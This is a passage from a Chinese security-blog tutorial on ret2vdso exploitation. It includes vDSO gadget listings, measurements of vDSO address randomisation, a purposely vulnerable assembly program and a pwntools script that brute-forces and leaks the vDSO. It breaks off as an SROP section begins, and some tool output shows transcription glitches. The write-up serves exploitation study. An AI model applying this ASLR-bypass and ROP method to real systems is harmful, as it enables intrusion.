Ex / 2019-05-26 15:54:00 / 浏览数 5081 安全技术 漏洞分析 顶(0) 踩(0)

对ret2vdso总结了一下,附上了实验数据,ret2vdso更多的出现在32位的程序中。

0x0000000000000cle : imul rax, rdx ; add r10, rax ; jmp 0xbb9

0x00000000000008bc : jbe 0x91b ; add cl, byte ptr [rsi + 0xa] ; ret

0x000000000000098a : ja 0x991 ; pop rbp ; ret

实验文件都在附件中。

## 前导知识

vdso

传统的int 0x80有点慢, Intel和AMD分别实现了sysenter/sysexit和syscall/sysret,即所谓的快速系统调用指令,使用它们更快,但是也带来了兼容性的问题.于是Linux实现了vsyscall,程序统一调用vsyscall,具体的选择由内核来决定.而vsyscall的实现就在VDSO中。

简单来说,可以把vdso看成一个.so动态库链接文件,但是不同的内核,vdso的内容也是不同的。

## vdso\_x64

#### 先看看内置了什么函数:

```
ex@Ex:~/test$ objdump -T vdso_x64.so
vdso x64.so:
              file format elf64-x86-64
DYNAMIC SYMBOL TABLE:
000000000000d40 g DF .text 000000000001c1 LINUX_2.6 __vdso_gettimeofday
0000000000000d40 w DF .text 00000000001c1 LINUX_2.6 gettimeofday
00000000000010 g DF .text 0000000000015 LINUX_2.6 __vdso_time
0000000000010 w DF .text 0000000000015 LINUX_2.6 time
000000000000030 q DF .text 00000000000305 LINUX_2.6 __vdso_clock_qettime
                            0000000000000000 LINUX_2.6 LINUX_2.6
00000000000000000 g DO *ABS*
0000000000000f30 g DF .text 0000000000002a LINUX_2.6 __vdso_getcpu
000000000000130 w DF .text 0000000000002a LINUX_2.6 getcpu
再看看有什么可用的指令:
ex@Ex:~/test$ ROPgadget --binary vdso_x64.so
Gadgets information
_____
0x0000000000008b8 : adc byte ptr [r11], r8b ; add dh, byte ptr [rsi + 0x58] ; add cl, byte ptr [rsi + 0xa] ; ret
0x00000000000008b9 : adc byte ptr [rbx], al ; add dh, byte ptr [rsi + 0x58] ; add cl, byte ptr [rsi + 0xa] ; ret
0x000000000000098b : add bl, byte ptr [rbp - 0x3d] ; mov rax, rdx ; pop rbp ; ret
0x000000000000023 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x0000000000000025 : add byte ptr [rax], al ; pop rbp ; ret
0x00000000000008be : add cl, byte ptr [rsi + 0xa] ; ret
0x00000000000008bb : add dh, byte ptr [rsi + 0x58] ; add cl, byte ptr [rsi + 0xa] ; ret
0x000000000000018 : add eax, 0xffffc66b ; pop rbp ; ret
0x00000000000008ba : add eax, dword ptr [rdx] ; jbe 0x91d ; add cl, byte ptr [rsi + 0xa] ; ret
0x0000000000000c23 : add edx, eax ; jmp 0xbb4
0x0000000000000c22 : add r10, rax ; jmp 0xbb5
0x0000000000000d78 : and al, 0xf6 ; ret
0x0000000000000f52 : call 0x3106986a
0x0000000000000b26 : call 0xffffffffc9ff487c
0x00000000000000aab : clc ; ret
0x0000000000000d84 : cld ; ret 0xffff
0x000000000000016 : cmovae eax, dword ptr [rip - 0x3995] ; pop rbp ; ret
0x000000000000015 : cmovae rax, qword ptr [rip - 0x3995] ; pop rbp ; ret
0x0000000000000988 : cmp edx, eax ; ja 0x993 ; pop rbp ; ret
0x0000000000000987 : cmp rdx, rax ; ja 0x994 ; pop rbp ; ret
0x0000000000000986 : dec dword ptr [rax + 0x39] ; ret 0x277
0x000000000000cld : dec dword ptr [rax + 0xf] ; scasd eax, dword ptr [rdi] ; ret 0x149
0x0000000000000ec5 : dec dword ptr [rcx + 0x16158b16] ; ret 0xffff
0x0000000000000c1f : imul eax, edx ; add r10, rax ; jmp 0xbb8
```

```
0x000000000000f1e : je 0xf29 ; mov qword ptr [rdi], rax ; pop rbp ; ret
0x0000000000000fdf : jmp qword ptr [rdi]
0x0000000000000aa9 : lea esp, dword ptr [rdx - 8] ; ret
0x0000000000000aa8 : lea rsp, qword ptr [r10 - 8] ; ret
0x00000000000000a21 : mov dword ptr [rdi], 0 ; pop rbp ; ret
0x0000000000000f21 : mov dword ptr [rdi], eax ; pop rbp ; ret
0x000000000000f54 : mov dword ptr [rsi], eax ; xor eax, eax ; pop rbp ; ret
0x000000000000098f : mov eax, edx ; pop rbp ; ret
0x00000000000f1c : mov ebp, esp ; je 0xf2b ; mov qword ptr [rdi], rax ; pop rbp ; ret
0x0000000000000f20 : mov qword ptr [rdi], rax ; pop rbp ; ret
0x000000000000098e : mov rax, rdx ; pop rbp ; ret
0x00000000000f1b : mov rbp, rsp ; je 0xf2c ; mov qword ptr [rdi], rax ; pop rbp ; ret
0x000000000000000 : pop r13 ; pop r14 ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x0000000000000a5 : pop r14 ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x00000000000008bd : pop rax ; add cl, byte ptr [rsi + 0xa] ; ret
0x0000000000000aa7 : pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x0000000000000aa4 : pop rbp ; pop r14 ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x0000000000000098c : pop rbp ; ret
0x0000000000000aa6 : pop rsi ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x000000000000f3f : push qword ptr [rdx + rcx - 0x77] ; ret 0xe281
0x000000000000008c1 : ret
0x0000000000000c21 : ret 0x149
0x0000000000000989 : ret 0x277
0x00000000000000b3c : ret 0x4801
0x00000000000000e64 : ret 0x53e9
0x0000000000000024 : ret 0x8ceb
0x00000000000000c4e : ret 0xc2e9
0x0000000000000143 : ret 0xe281
0x00000000000000d85 : ret 0xffff
0x00000000000000 : rol bh, 7 ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x0000000000000c20 : scasd eax, dword ptr [rdi] ; ret 0x149
0x000000000000f51 : shr eax, 0xc ; mov dword ptr [rsi], eax ; xor eax, eax ; pop rbp ; ret
0x00000000000001f : xor eax, eax ; mov dword ptr [rdi], 0 ; pop rbp ; ret
0x000000000000f56 : xor eax, eax ; pop rbp ; ret
Unique gadgets found: 62
ex@Ex:~/test$
总共62条,总体来说,可以利用的指令还是很少的。
vdso x86
但是32位的话,就截然不同了。
ex@Ex:~/test$ objdump -T vdso_x86.so
vdso_x86.so:
              file format elf32-i386
DYNAMIC SYMBOL TABLE:
00001050 g DF .text
                      0000000d LINUX_2.5
                                             __kernel_vsyscall
            DF .text
                        000002b2 LINUX_2.6
00000d50 a
                                             __vdso_gettimeofday
            DF .text
                        00000009 LINUX_2.5
00001070 a
                                             __kernel_sigreturn
                        00000028 LINUX_2.6
00001010 a
            DF .text
                                             __vdso_time
                        00000000 LINUX_2.5
00000000 a
            DO *ABS*
                                            LINUX 2.5
          DF .text
00001080 g
                        00000008 LINUX_2.5 __kernel_rt_sigreturn
00000820 g DF .text
                        0000052f LINUX_2.6
                                             __vdso_clock_gettime
00000000 g
           DO *ABS*
                        00000000 LINUX_2.6
                                            LINUX_2.6
有现成的__kernel_rt_sigreturn调用可以用来SROP。
再来看看其指令:
ex@Ex:~/test$ ROPgadget --binary vdso x86.so
Gadgets information
_____
0x000000817 : adc al, 0x31 ; rcr byte ptr [ebx + 0x5e], 0x5f ; pop ebp ; ret
0x000007e4 : adc al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret
0x00000619 : adc byte ptr [ebp + 0xec54704], al ; or al, 0x41 ; ret 0x80e
0x00001039 : add al, 0x24 ; ret
```

```
0x0000107f : add byte ptr [eax + 0xad], bh ; int 0x80
0x0000107d : add byte ptr [eax], al ; add byte ptr [eax + 0xad], bh ; int 0x80
0x0000107c : add byte ptr [eax], al ; add byte ptr [eax], al ; mov eax, 0xad ; int 0x80
0x00000e3f : add byte ptr [eax], al ; add esp, 0x5c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00001074 : add byte ptr [eax], al ; int 0x80
0x0000107e : add byte ptr [eax], al ; mov eax, 0xad ; int 0x80
0x00000e40 : add byte ptr [ebx + 0x5e5b5cc4], al ; pop edi ; pop ebp ; ret
0x000010ab : add byte ptr [ebx], al ; add eax, dword ptr [ebx] ; ret
0x00001032 : add cl, byte ptr [ecx - 0x3ca2a4f6] ; mov eax, dword ptr [esp] ; ret
0x000010ad : add eax, dword ptr [ebx] ; ret
0x000007e2 : add esp, 0x14 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000815 : add esp, 0x14 ; xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x000000e41 : add esp, 0x5c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000967 : add esp, 0x6c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0000087c : add esp, 0x6c ; xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0000103e : and al, 0xc3 ; mov ebx, dword ptr [esp] ; ret
0x0000103a : and al, 0xc3 ; mov ecx, dword ptr [esp] ; ret
0x00001042 : and al, 0xc3 ; mov edi, dword ptr [esp] ; ret
0x00000801 : and byte ptr [edi], cl ; inc ebp ; ret 0x450f
0x0000073c : call 0x1046
0x00001141 : call 0x340ff6d2
0x000007d5 : call dword ptr [ecx]
0x000007f0 : cli ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00001045 : cmp al, 0x24 ; ret
0x0000071f : cmp esi, eax ; ja 0x71e ; pop esi ; pop edi ; pop ebp ; ret
0x000007cf : dec dword ptr [ebx - 0x32c37d] ; call dword ptr [ecx]
0x00001030 : enter 0x274, -0x77 ; or bl, byte ptr [ebx + 0x5d] ; ret
0x00000974 : fmul qword ptr [ebx - 0x32cb61] ; push esi ; ret
0x00000722 : hlt ; pop esi ; pop edi ; pop ebp ; ret
0x00001143 : in eax, 0xf ; xor al, 0x89 ; int 0xf
0x00001054 : in eax, 0xf ; xor al, 0xcd ; sbb byte ptr [ebp + 0x5a], 0x59 ; ret
0x00000973 : inc ebp ; fmul qword ptr [ebx - 0x32cb61] ; push esi ; ret
0x00000803 : inc ebp ; ret 0x450f
0x00000620 : inc ecx ; ret 0x80e
0x0000061c : inc edi ; lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e
0x00000969 : insb byte ptr es:[edi], dx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0000087e : insb byte ptr es:[edi], dx ; xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0 \times 00001057: int 0 \times 80
0 \times 00001147: int 0 \times f
0x00001072: ja 0x1078; add byte ptr [eax], al; int 0x80
0x00000721: ja 0x71c; pop esi; pop edi; pop ebp; ret
0x000007e0 : jb 0x7f3 ; add esp, 0x14 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000715 : jbe 0x728 ; mov eax, esi ; mov edx, ecx ; pop esi ; pop edi ; pop ebp ; ret
0x00001031 : je 0x103b ; mov dword ptr [edx], ecx ; pop ebx ; pop ebp ; ret
0x0000061d : lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e
0x00000968: les ebp, ptr [ebx + ebx*2 + 0x5e]; pop edi; pop ebp; ret
0x0000087d : les ebp, ptr [ecx + esi - 0x40] ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x000000e42: les ebx, ptr [ebx + ebx*2 + 0x5e]; pop edi; pop ebp; ret
0x000007e3 : les edx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x00000816 : les edx, ptr [ecx + esi] ; rcr byte ptr [ebx + 0x5e], 0x5f ; pop ebp ; ret
0x0000113f : lfence ; mov ebp, esp ; sysenter
0x0000113c : mfence ; lfence ; mov ebp, esp ; sysenter
0x00001033 : mov dword ptr [edx], ecx ; pop ebx ; pop ebp ; ret
0x00001071 : mov eax, 0x77 ; int 0x80
0x00001080 : mov eax, 0xad ; int 0x80
0x00001038 : mov eax, dword ptr [esp] ; ret
0x0000102f : mov eax, ecx; je 0x103d; mov dword ptr [edx], ecx; pop ebx; pop ebp; ret
0x00000717 : mov eax, esi ; mov edx, ecx ; pop esi ; pop edi ; pop ebp ; ret
0x000007ed: mov eax, esi; mov edx, edi; pop ebx; pop esi; pop edi; pop ebp; ret
0x00001053 : mov ebp, esp ; sysenter
0x00001040 : mov ebx, dword ptr [esp] ; ret
0x000000965 : mov ebx, edx; add esp, 0x6c; pop ebx; pop esi; pop edi; pop ebp; ret
0x0000103c : mov ecx, dword ptr [esp] ; ret
0x00001044 : mov edi, dword ptr [esp] ; ret
0x00000719 : mov edx, ecx ; pop esi ; pop edi ; pop ebp ; ret
0x000007ef : mov edx, edi ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000792 : movsd dword ptr es:[edi], dword ptr [esi] ; ret 0xf631
0x0000104c : nop ; nop ; nop ; nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
```

0x0000061b : add al, 0x47 ; lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e

```
0x0000106d : nop ; nop ; nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x0000104d : nop ; nop ; nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
0x0000106e : nop ; nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x0000104e : nop ; nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
0x0000106f : nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x0000104f : nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
0x0000103d: or al, 0x24; ret
0x0000061f: or al, 0x41; ret 0x80e
0x00001034: or bl, byte ptr [ebx + 0x5d]; ret
0x000007e1: or byte ptr [ebx + 0x5e5b14c4], al ; pop edi ; pop ebp ; ret
0x00000716: or byte ptr [ecx + 0x5eca89f0], cl ; pop edi ; pop ebp ; ret
0x00001070: pop eax; mov eax, 0x77; int 0x80
0x00001059 : pop ebp ; pop edx ; pop ecx ; ret
0x0000071d : pop ebp ; ret
0x00001035 : pop ebx ; pop ebp ; ret
0x000007e5 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0000105b : pop ecx ; ret
0x0000071c : pop edi ; pop ebp ; ret
0x0000105a : pop edx ; pop ecx ; ret
0x0000071b : pop esi ; pop edi ; pop ebp ; ret
0x00000e43 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x000000618: push cs; adc byte ptr [ebp + 0xec54704], al; or al, 0x41; ret 0x80e
0x0000061e : push cs ; or al, 0x41 ; ret 0x80e
0x00001052 : push ebp ; mov ebp, esp ; sysenter
0x0000073b : push ebx ; call 0x1047
0x00001050 : push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
0x00000739 : push edi ; push esi ; push ebx ; call 0x1049
0x00001051 : push edx ; push ebp ; mov ebp, esp ; sysenter
0x0000073a : push esi ; push ebx ; call 0x1048
0x000008c2 : push esi ; ret
0x00000819 : rcr byte ptr [ebx + 0x5e], 0x5f ; pop ebp ; ret
0 \times 00000071e : ret.
0x00000804 : ret 0x450f
0x000007b4 : ret 0x458b
0x00000b77 : ret 0x5d8b
0x00000ecf : ret 0x7d8b
0x00000621 : ret 0x80e
0x00000793 : ret 0xf631
0x000008c8 : ret 2
0x00000966 : rol dword ptr [ebx + 0x5e5b6cc4], cl ; pop edi ; pop ebp ; ret
0x0000102e: ror byte ptr [ecx - 0x76fd8b38], cl; or bl, byte ptr [ebx + 0x5d]; ret
0x00001041 : sbb al, 0x24 ; ret
0x00001058: sbb byte ptr [ebp + 0x5a], 0x59; ret
0x00001140 : scasb al, byte ptr es:[edi] ; call 0x340ff6d3
0x00000926 : shl dword ptr [eax], 0xf ; inc ebp ; ret 0x450f
0x00001055 : sysenter
0x0000061a : test dword ptr [edi + eax*2], eax ; lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e
0x00001145 : xor al, 0x89 ; int 0xf
0x00001056 : xor al, 0xcd ; sbb byte ptr [ebp + 0x5a], 0x59 ; ret
0x00000818 : xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
```

Unique gadgets found: 123

## 这里有123条,相比64为位的还是很多。

注意:不同内核, vdso会有差异。

## 利用思路

因为不同内核, vdso会有差异, 所以如果我们能把vdso给读出来的, 就能够直接进行利用。

### vdso的随机化特点

相比于栈和其他的ASLR, vdso的随机化非常的弱,对于32的系统来说,有1/256的概率命中,这正好可以作为我们的利用点。

### vdso的地址存放:

```
pwndbg> stack
78:01e0■ 0xffffcf20 -■ 0xf7fd5050 (__kernel_vsyscall) ■- push
79:01e4■ 0xffffcf24 ■- 0x21 /* '!' */
```

```
7b:01ec■ 0xffffcf2c ■- 0x10
7c:01f0■ 0xffffcf30 ■- 0xbfebfbff
7d:01f4■ 0xffffcf34 ■- 0x6
7e:01f8■ 0xffffcf38 ■- 0x1000
7f:01fc■ 0xffffcf3c ■- 0x11
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x56555000 0x56556000 r-xp 1000 0
                                      /home/ex/test/vdso_addr
0x56556000 0x56557000 r--p
                           1000 0
                                        /home/ex/test/vdso addr
0x56557000 0x56558000 rw-p 1000 1000 /home/ex/test/vdso_addr
0xf7dd6000 0xf7fab000 r-xp 1d5000 0
                                        /lib/i386-linux-qnu/libc-2.27.so
0xf7fab000 0xf7fac000 ---p 1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fac000 0xf7fae000 r--p 2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fae000 0xf7faf000 rw-p 1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7faf000 0xf7fb2000 rw-p 3000 0
0xf7fcf000 0xf7fd1000 rw-p
                          2000 0
                           3000 0
0xf7fd1000 0xf7fd4000 r--p
                                        [vvar]
                          2000 0
0xf7fd4000 0xf7fd6000 r-xp
                                        [vdso]
0xf7fd6000 0xf7ffc000 r-xp 26000 0
                                        /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r--p 1000 25000 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rw-p 1000 26000 /lib/i386-linux-gnu/ld-2.27.so
0xfffdc000 0xffffe000 rw-p 22000 0
                                        [stack]
从上可以看出,栈上有一个地址是用来存放vdso的基地址的,但是这个地址的偏移总是汇编,所以我临时写了下面的代码进行打印查看。
// compiled: gcc -g -m32 vdso_addr.c -o vdso_addr
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
  printf("vdso addr: %124$p\n");
  return 0;
  注意偏移值会改变
然后用下面的脚本来查看结果:
#!/usr/bin/python
# -*- coding:utf-8 -*-
import os
result = []
for i in range(100):
  result += [os.popen('./vdso_addr').read()[:-1]]
result = sorted(result)
for v in result:
  print (v)
在比较新的内核的运行结果如下:
ex@Ex:~/test$ python vdso_addr.py
vdso addr: 0xf7ed6000
vdso addr: 0xf7ed8000
vdso addr: 0xf7eda000
vdso addr: 0xf7edd000
vdso addr: 0xf7ee6000
vdso addr: 0xf7ee6000
vdso addr: 0xf7ee9000
vdso addr: 0xf7ee9000
vdso addr: 0xf7eee000
vdso addr: 0xf7eef000
vdso addr: 0xf7ef3000
```

0xf7fd4047

7a:01e8■ 0xffffcf28 -■ 0xf7fd4000 ■- jq

vdso addr: 0xf7ef7000

```
vdso addr: 0xf7ef9000
vdso addr: 0xf7efa000
vdso addr: 0xf7efa000
vdso addr: 0xf7efb000
vdso addr: 0xf7efd000
vdso addr: 0xf7efe000
vdso addr: 0xf7f0e000
vdso addr: 0xf7f14000
vdso addr: 0xf7f1f000
vdso addr: 0xf7f21000
vdso addr: 0xf7f24000
vdso addr: 0xf7f25000
vdso addr: 0xf7f26000
vdso addr: 0xf7f2a000
vdso addr: 0xf7f2a000
vdso addr: 0xf7f2b000
vdso addr: 0xf7f34000
vdso addr: 0xf7f36000
vdso addr: 0xf7f39000
vdso addr: 0xf7f3b000
vdso addr: 0xf7f41000
vdso addr: 0xf7f47000
vdso addr: 0xf7f48000
vdso addr: 0xf7f48000
vdso addr: 0xf7f49000
vdso addr: 0xf7f49000
vdso addr: 0xf7f4a000
vdso addr: 0xf7f4b000
vdso addr: 0xf7f4d000
vdso addr: 0xf7f4e000
vdso addr: 0xf7f4e000
vdso addr: 0xf7f4f000
vdso addr: 0xf7f50000
vdso addr: 0xf7f52000
vdso addr: 0xf7f52000
vdso addr: 0xf7f53000
vdso addr: 0xf7f57000
vdso addr: 0xf7f58000
vdso addr: 0xf7f59000
vdso addr: 0xf7f5a000
vdso addr: 0xf7f5f000
vdso addr: 0xf7f5f000
vdso addr: 0xf7f60000
vdso addr: 0xf7f64000
vdso addr: 0xf7f68000
vdso addr: 0xf7f6c000
vdso addr: 0xf7f70000
vdso addr: 0xf7f72000
vdso addr: 0xf7f73000
vdso addr: 0xf7f75000
vdso addr: 0xf7f7e000
vdso addr: 0xf7f7f000
vdso addr: 0xf7f7f000
vdso addr: 0xf7f80000
vdso addr: 0xf7f88000
vdso addr: 0xf7f88000
vdso addr: 0xf7f8d000
vdso addr: 0xf7f94000
vdso addr: 0xf7f95000
vdso addr: 0xf7f95000
vdso addr: 0xf7f99000
vdso addr: 0xf7f99000
vdso addr: 0xf7f9d000
vdso addr: 0xf7f9e000
vdso addr: 0xf7fa0000
vdso addr: 0xf7fa0000
vdso addr: 0xf7fa2000
vdso addr: 0xf7fa2000
vdso addr: 0xf7fa6000
```

```
vdso addr: 0xf7faa000
vdso addr: 0xf7fac000
vdso addr: 0xf7fac000
vdso addr: 0xf7faf000
vdso addr: 0xf7fb1000
vdso addr: 0xf7fb4000
vdso addr: 0xf7fb5000
vdso addr: 0xf7fb6000
vdso addr: 0xf7fbe000
vdso addr: 0xf7fc0000
vdso addr: 0xf7fc4000
vdso addr: 0xf7fc6000
vdso addr: 0xf7fc7000
vdso addr: 0xf7fcb000
vdso addr: 0xf7fce000
vdso addr: 0xf7fce000
vdso addr: 0xf7fce000
vdso addr: 0xf7fcf000
vdso addr: 0xf7fd0000
```

## 可以看到结果在0xf7ed0000-0xf7fd0000之间。

#### 然后在旧的内核版本的运行效果如下:

```
ex@ubuntu:~/test$ python3 vdso_addr.py
vdso addr: 0xf76d9000
vdso addr: 0xf76dd000
vdso addr: 0xf76de000
vdso addr: 0xf76df000
vdso addr: 0xf76e0000
vdso addr: 0xf76e2000
vdso addr: 0xf76e3000
vdso addr: 0xf76e4000
vdso addr: 0xf76ee000
vdso addr: 0xf76ef000
vdso addr: 0xf76f3000
vdso addr: 0xf76f5000
vdso addr: 0xf7702000
vdso addr: 0xf7703000
vdso addr: 0xf7707000
vdso addr: 0xf7709000
vdso addr: 0xf770a000
vdso addr: 0xf770d000
vdso addr: 0xf7710000
vdso addr: 0xf7714000
vdso addr: 0xf7716000
vdso addr: 0xf7717000
vdso addr: 0xf7718000
vdso addr: 0xf7718000
vdso addr: 0xf771a000
vdso addr: 0xf771a000
vdso addr: 0xf771b000
vdso addr: 0xf771e000
vdso addr: 0xf771f000
vdso addr: 0xf771f000
vdso addr: 0xf7720000
vdso addr: 0xf7721000
vdso addr: 0xf7721000
vdso addr: 0xf772b000
vdso addr: 0xf772c000
vdso addr: 0xf772d000
vdso addr: 0xf7733000
vdso addr: 0xf7734000
vdso addr: 0xf7735000
vdso addr: 0xf7736000
vdso addr: 0xf773b000
vdso addr: 0xf773b000
vdso addr: 0xf773b000
vdso addr: 0xf773e000
```

vdso addr: 0xf773e000

vdso addr: 0xf7745000 vdso addr: 0xf7745000 vdso addr: 0xf7746000 vdso addr: 0xf7746000 vdso addr: 0xf7747000 vdso addr: 0xf7749000 vdso addr: 0xf774b000 vdso addr: 0xf774d000 vdso addr: 0xf774d000 vdso addr: 0xf7758000 vdso addr: 0xf7759000 vdso addr: 0xf7761000 vdso addr: 0xf7762000 vdso addr: 0xf7764000 vdso addr: 0xf7765000 vdso addr: 0xf776d000 vdso addr: 0xf7770000 vdso addr: 0xf7774000 vdso addr: 0xf777b000 vdso addr: 0xf777c000 vdso addr: 0xf777e000 vdso addr: 0xf777f000 vdso addr: 0xf777f000 vdso addr: 0xf7780000 vdso addr: 0xf7783000 vdso addr: 0xf7784000 vdso addr: 0xf7787000 vdso addr: 0xf7789000 vdso addr: 0xf778b000 vdso addr: 0xf778e000 vdso addr: 0xf7797000 vdso addr: 0xf7798000 vdso addr: 0xf779a000 vdso addr: 0xf779b000 vdso addr: 0xf779d000 vdso addr: 0xf779f000 vdso addr: 0xf77a0000 vdso addr: 0xf77a0000 vdso addr: 0xf77a3000 vdso addr: 0xf77a8000 vdso addr: 0xf77ad000 vdso addr: 0xf77b5000 vdso addr: 0xf77b9000 vdso addr: 0xf77ba000 vdso addr: 0xf77ba000 vdso addr: 0xf77bb000 vdso addr: 0xf77bf000 vdso addr: 0xf77c2000 vdso addr: 0xf77c2000 vdso addr: 0xf77c2000 vdso addr: 0xf77c3000 vdso addr: 0xf77c6000 vdso addr: 0xf77c6000 vdso addr: 0xf77cc000

可以看到结果在0xf76d9000-0xf77ce000之间。

其他情况可以自行测量。

vdso addr: 0xf77ce000

# exploit 思路

- 1. 泄露出vdso
- 2. 利用vdso进行ROP

## 举例

我用下来这段汇编代码来举例:

```
ret2vdso.s
```

```
push ebp
     ebp, esp
mov
sub
    esp, 128
lea
    eax, buf
push 4096
push eax
push 0
      eax, 0
mov
call read
add esp, 12
mov esi, eax
push esi
lea eax, buf
push eax
lea eax, -128[ebp]
push eax
call memcpy
add esp, 12
lea eax, -128[ebp]
push esi
push eax
push 1
mov
     eax, 0
call write
add esp, 12
    eax, 0
mov
mov esp, ebp
pop ebp
ret
反汇编出来结果如下:
int __cdecl main(int argc, const char **argv, const char **envp)
 size t size; // esi
 char addr[128]; // [esp+0h] [ebp-80h]
 size = read(0, buf, 0x1000u);
 memcpy(addr, buf, size);
 write(1, addr, size);
 return 0;
可以看出,我预留了一个明显的栈溢出,但是这个程序是个手写汇编的程序。你没有办法依赖qlibc。
ex@Ex:~/test$ ldd ret2vdso
  not a dynamic executable
而且基本没有可用的ROP指令:
ex@Ex:~/test$ ROPgadget --binary ret2vdso
Gadgets information
0x080480b2 : adc byte ptr [eax + 3], bh ; int 0x80
0x080480c9 : adc byte ptr [eax + 4], bh ; int 0x80
0x08048102 : adc byte ptr [edi - 0x21], dh ; leave ; ret
0x080480cb : add al, 0 ; add byte ptr [eax], al ; int 0x80
0x08048156 : add byte ptr [eax], al ; add byte ptr [eax], al ; mov esp, ebp ; pop ebp ; ret
0x080480a3 : add byte ptr [eax], al ; int 0x80
0x0804809c : add byte ptr [eax], al ; mov ebx, eax ; mov eax, 1 ; int 0x80
0x08048158 : add byte ptr [eax], al ; mov esp, ebp ; pop ebp ; ret
0x0804809d : add byte ptr [ecx + 0x1b8c3], cl ; add byte ptr [eax], al ; int 0x80
0x080480al : add dword ptr [eax], eax ; add byte ptr [eax], al ; int 0x80
0x080480b4 : add eax, dword ptr [eax] ; add byte ptr [eax], al ; int 0x80
```

```
0x080480ff : cld ; cmp dword ptr [ebp + 0x10], eax ; ja 0x80480eb ; leave ; ret
0x08048100 : cmp dword ptr [ebp + 0x10], eax ; ja 0x80480ea ; leave ; ret
0x08048104 : fxch st(0), st(1); ret
0x080480bb : in al, dx ; pop ebp ; ret
0x08048101 : inc ebp ; adc byte ptr [edi - 0x21], dh ; leave ; ret
0x080480fe : inc ebp ; cld ; cmp dword ptr [ebp + 0x10], eax ; ja 0x80480ec ; leave ; ret
0x080480a5 : int 0x80
0x08048103: ja 0x80480e7; leave; ret
0x08048105 : leave ; ret
0x08048155 : mov eax, 0 ; mov esp, ebp ; pop ebp ; ret
0x080480a0 : mov eax, 1 ; int 0x80
0x080480b3 : mov eax, 3 ; int 0x80
0x080480ca : mov eax, 4 ; int 0x80
0x080480fd : mov eax, dword ptr [ebp - 4] ; cmp dword ptr [ebp + 0x10], eax ; ja 0x80480ed ; leave ; ret
0x0804809e : mov ebx, eax ; mov eax, 1 ; int 0x80
0x080480b0 : mov edx, dword ptr [ebp + 0x10] ; mov eax, 3 ; int 0x80
0x080480c7 : mov edx, dword ptr [ebp + 0x10] ; mov eax, 4 ; int 0x80
0x080480ba : mov esp, ebp ; pop ebp ; ret
0x080480af : or al, 0x8b ; push ebp ; adc byte ptr [eax + 3], bh ; int 0x80
0x080480c6: or al, 0x8b; push ebp; adc byte ptr [eax + 4], bh; int 0x80
0x08048154: or al, 0xb8; add byte ptr [eax], al; add byte ptr [eax], al; mov esp, ebp; pop ebp; ret
0x080480bc : pop ebp ; ret
0x080480b1: push ebp ; adc byte ptr [eax + 3], bh ; int 0x80
0x080480c8: push ebp; adc byte ptr [eax + 4], bh; int 0x80
0x0804809f : ret
Unique gadgets found: 36
这时候,不妨试试用write函数把vdso给读出来。
读取vdso
```

```
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import random
import struct
import os
import binascii
import sys
import time
context(arch='i386', os='linux')
# context.log_level = 'debug'
elf = ELF("./ret2vdso")
RANGE_VDSO = range(0xf7ed0000, 0xf7fd0000, 0x1000)
# RANGE_VDSO = range(0xf76d9000, 0xf77ce000, 0x1000)
while(True):
   try:
       sh = process("./ret2vdso")
       vdso_addr = random.choice(RANGE_VDSO)
       sh.send('a' * 132 +
               p32(elf.symbols['write']) +
               p32(0) +
               p32(1) + # fd
               p32(vdso_addr) + # buf
               p32(0x2000) # count
               )
       sh.recvuntil(p32(0x2000))
       result = sh.recvall(0.1)
       if(len(result) != 0):
```

```
open('vdso.so', 'wb').write(result)
         sh.close()
         log.success("Success")
         exit(0)
      sh.close()
  except Exception as e:
      sh.close()
当你有了vdso之后,就可以使用里面的指令了,然后再用同样的原理进行SROP。
SROP
ex@Ex:~/test$ objdump -T vdso.so
vdso.so:
          file format elf32-i386
DYNAMIC SYMBOL TABLE:
00001050 g DF .text
